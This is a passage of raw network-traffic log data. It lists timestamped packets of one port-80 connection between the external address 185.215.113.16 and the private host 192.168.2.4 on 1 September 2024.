Sep 1, 2024 05:09:07.308937073 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.308954954 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.308964014 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.308991909 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.309005976 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.309087038 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.309097052 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.309112072 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.309120893 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.309132099 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.309143066 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.309178114 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.309237003 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.309247017 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.309256077 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.309263945 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.309273958 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.309283018 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.309286118 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.309309959 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.309329987 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.309415102 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.309425116 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.309433937 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.309442043 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.309451103 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.309458971 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.309470892 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.309495926 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.309504032 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.309506893 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.309535027 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.309566021 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.371110916 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.371126890 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.371138096 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.371146917 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.371156931 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.371251106 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.371260881 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.371269941 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.371278048 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.371288061 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.371290922 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.371340990 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.371364117 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.371375084 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.371406078 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.371427059 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.371433973 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.371437073 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.371464968 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.371486902 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.371584892 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.371592999 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.371608973 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.371623039 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.371630907 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.371639013 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.371639967 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.371649027 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.371660948 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.371668100 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.371678114 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.371707916 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.371712923 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.371722937 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.371756077 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.371783018 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.371792078 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.371800900 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.371830940 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.371850014 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.371860027 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.371870041 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.371900082 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.371908903 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.371915102 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.371937990 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.371963978 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.371988058 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.371999025 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.372006893 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.372025013 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.372049093 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.372066975 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.372076988 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.372100115 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.372116089 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.372128963 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.372143030 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.372157097 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.372184992 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.372211933 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.372242928 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.372251987 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.372262001 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.372270107 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.372281075 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.372292042 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.372325897 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.372518063 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.372526884 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.372535944 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.372545004 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.372554064 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.372566938 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.372570992 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.372580051 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.372587919 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.372594118 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.372596979 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.372612953 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.372642040 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.372654915 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.372664928 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.372701883 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.372733116 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.372746944 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.372756004 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.372765064 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.372775078 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.372781992 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.372805119 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.372819901 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.372824907 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.372865915 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.372965097 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.372972965 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.372981071 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.372997046 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.373004913 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.373012066 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.373014927 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.373023987 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.373044014 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.373044014 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.373065948 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.373087883 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.373094082 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.373102903 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.373111963 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.373135090 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.373155117 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.373186111 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.373194933 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.373203039 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.373213053 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.373229027 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.373255014 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.373285055 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.373294115 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.373302937 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.373333931 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.373349905 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.373512030 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.373522043 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.373531103 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.373565912 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.373589039 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.434412956 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.434432983 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.434442043 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.434470892 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.434487104 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.434504032 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.434513092 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.434523106 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.434530973 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.434556007 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.434580088 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.434583902 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.434617043 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.434624910 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.434627056 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.434636116 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.434643984 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.434655905 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.434673071 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.434698105 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.434763908 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.434773922 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.434811115 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.434814930 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.434825897 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.434825897 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.434835911 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.434845924 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.434859037 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.434870958 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.434899092 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.434900999 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.434909105 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.434943914 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.434952974 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.434972048 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.434982061 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.435014009 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.435024023 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.435060024 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.435069084 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.435080051 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.435091019 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.435098886 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.435108900 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.435112000 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.435146093 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.435178995 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.435188055 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.435195923 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.435204983 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.435220957 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.435230017 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.435230970 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.435240030 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.435261011 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.435281038 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.435281038 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.435467958 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.435477018 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.435486078 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.435494900 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.435503960 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.435513020 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.435518026 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.435522079 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.435523987 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.435550928 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.435561895 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.457962036 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.457971096 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.457981110 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.458022118 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.458031893 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.458040953 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.458043098 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.458050013 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.458059072 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.458071947 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.458101988 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.458133936 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.458143950 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.458153963 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.458177090 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.458203077 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.458268881 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.458278894 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.458287954 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.458301067 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.458307981 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.458311081 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.458331108 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.458353996 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.458406925 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.458417892 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.458426952 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.458436012 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.458446026 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.458456039 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.458472967 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.458491087 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.458499908 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.458512068 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.458519936 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.458545923 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.458568096 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.458580017 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.458590031 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.458597898 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.458627939 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.458650112 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.458668947 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.458678961 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.458688021 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.458695889 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.458709955 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.458715916 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.458739042 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.458760023 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.458826065 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.458836079 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.458846092 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.458853960 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.458863020 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.458872080 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.458874941 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.458905935 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.458966970 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.458976030 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.458985090 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.458992958 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.459002018 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.459014893 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.459028959 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.459048033 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.459093094 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.459100962 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.459110022 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.459117889 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.459126949 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.459136963 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.459163904 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.459263086 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.459270954 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.459314108 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.459316015 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.459332943 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.459367990 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.459393024 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.459403038 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.459412098 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.459434986 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.459450006 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.459475994 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.459486961 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.459495068 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.459507942 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.459516048 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.459522009 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.459547043 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.459558010 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.459609032 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.459619045 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.459628105 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.459635973 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.459656000 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.459677935 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:07.459835052 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.459842920 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.459851980 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.459867954 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.459877968 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:07.459883928 CEST	49738	80	192.168.2.4	185.215.113.16
